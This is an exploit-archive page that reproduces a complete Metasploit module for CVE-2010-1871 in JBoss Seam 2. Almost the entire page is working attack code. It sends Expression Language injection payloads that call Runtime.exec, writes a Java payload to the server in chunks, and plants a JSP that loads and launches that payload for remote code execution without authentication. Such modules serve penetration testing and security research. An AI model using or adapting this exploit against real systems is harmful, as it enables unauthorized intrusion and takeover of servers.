Sploitus

Exploit for JBoss Seam 2 File Upload and Execute

metasploit · 2010-08-05

Exploit Code

ruby300 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-JBOSS_SEAM_UPLOAD_EXEC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss Seam 2 File Upload and Execute',
        'Description' => %q{
          Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
          sanitize inputs to some JBoss Expression Language expressions.  As a
          result, attackers can gain remote code execution through the
          application server.  This module leverages RCE to upload and execute
          a given payload.

          Versions of the JBoss application server (AS) admin-console are
          known to be vulnerable to this exploit, without requiring authentication.
          Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.

          This module provides a more efficient method of exploitation - it
          does not loop to find desired Java classes and methods.
        },
        'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
        'References' => [
          # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
          ['CVE', '2010-1871'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
          ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
          ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
        ],
        'DisclosureDate' => '2010-08-05',
        'License' => MSF_LICENSE,
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('AGENT', [ true, 'User-Agent to send with requests', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)']),
        OptString.new('CTYPE', [ true, 'Content-Type to send with requests', 'application/x-www-form-urlencoded']),
        OptString.new('TARGETURI', [ true, 'URI that is built on JBoss Seam 2', '/admin-console/login.seam']),
        OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
        OptString.new('FNAME', [ false, 'Name of file to create - NO EXTENSION! (default: random)', nil]),
        OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
      ]
    )
  end

  def check
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Checking for vulnerable JBoss Seam 2")
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      vprint_status('Server sent a 302 with location')
      if (res.headers['Location'] =~ /public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime%28%29/)
        report_vuln({
          host: rhost,
          port: rport,
          name: "#{name} - #{uri}",
          refs: references,
          info: "Module #{fullname} found vulnerable JBoss Seam 2 resource."
        })
        return Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    else
      return Exploit::CheckCode::Unknown('Received an unexpected response from the target')
    end
  end

  def execute_cmd(cmd)
    cmd_to_run = Rex::Text.uri_encode(cmd)
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Sending command: #{cmd_to_run}")
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      if (res.headers['Location'] =~ /user=java.lang.UNIXProcess/)
        vprint_good("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful")
      else
        vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
      end
    else
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
    end
  end

  def call_jsp(jspname)
    # TODO: ugly way to strip off last resource on a path
    uri = target_uri.path
    *keep, _ = uri.split(%r{/})
    keep.push(jspname)
    uri = keep.join('/')
    uri = '/' + uri if (uri[0] != '/')

    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => 'sessionid=' + Rex::Text.rand_text_alpha(32)
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 200)
      vprint_good('Successful request to JSP')
    else
      vprint_error('Failed to request JSP')
    end
  end

  def upload_jsp(filename, jarname)
    jsp_text = <<~EOJSP
      <%@ page import="java.io.*"
      %><%@ page import="java.net.*"
      %><%
      URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
      Class c = cl.loadClass("metasploit.Payload");
      c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
      %>
    EOJSP
    vprint_status('Uploading JSP to launch payload')
    status = upload_file_chunk(filename, 'false', jsp_text)
    if status
      vprint_status("JSP uploaded to to #{filename}")
    else
      vprint_error('Failed to upload file.')
    end

    @pl_sent = true
  end

  def upload_file_chunk(filename, append = 'false', chunk)
    # create URL-safe Base64-encoded version of chunk
    b64 = Rex::Text.encode_base64(chunk)
    b64 = b64.gsub('+', '%2b')
    b64 = b64.gsub('/', '%2f')

    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      # TODO: Including the conversationId part in this regex might cause
      # failure on other Seam applications.  Needs more testing
      if (res.headers['Location'] =~ /user=&conversationId/)
        # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful.")
        return true
      else
        # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
        return false
      end
    else
      # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
      return false
    end
  end

  def get_full_path(filename)
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      # the user argument should be set to the result of our call - which
      # will be the full path of our file
      matches = /.*user=(.+)&.*/.match(res.headers['Location'])
      if (matches and matches.captures)
        return Rex::Text.uri_decode(matches.captures[0])
      else
        return nil
      end
    else
      return nil
    end
  end

  def java_stager(fname, chunk_size)
    @payload_exe = fname + '.jar'
    jsp_name = fname + '.jsp'

    # data = payload.encoded_jar.pack
    data = payload.encoded_jar.pack

    append = 'false'
    while (data.length > chunk_size)
      status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
      if status
        vprint_status('Uploaded chunk')
      else
        vprint_error('Failed to upload chunk')
        break
      end
      data = data[chunk_size, data.length - chunk_size]
      # first chunk is an overwrite, afterwards, we need to append
      append = 'true'
    end
    status = upload_file_chunk(@payload_exe, 'true', data)
    if status
      vprint_status('Payload uploaded to ' + @payload_exe)
    else
      vprint_error('Failed to upload file.')
    end

    # write a JSP that can call the payload in the jar
    upload_jsp(jsp_name, @payload_exe)

    pe_path = get_full_path(@payload_exe) || @payload_exe
    jsp_path = get_full_path(jsp_name) || jsp_name
    # try to clean up our stuff;
    register_files_for_cleanup(pe_path, jsp_path)

    # call the JSP to launch the payload
    call_jsp(jsp_name)
  end

  def exploit
    @pl_sent = false

    if check == Exploit::CheckCode::Vulnerable

      fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(rand(8..15))

      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Host is vulnerable")
      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Uploading file...")

      # chunking code based on struts_code_exec_exception_delegator
      chunk_size = datastore['CHUNKSIZE']
      # sanity check
      if (chunk_size <= 0)
        vprint_error("Invalid chunk size #{chunk_size}")
        return
      end

      vprint_status("Sending in chunks of #{chunk_size}")

      case target['Platform']
      when 'java'
        java_stager(fname, chunk_size)
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
      end

      handler
    end
  end
end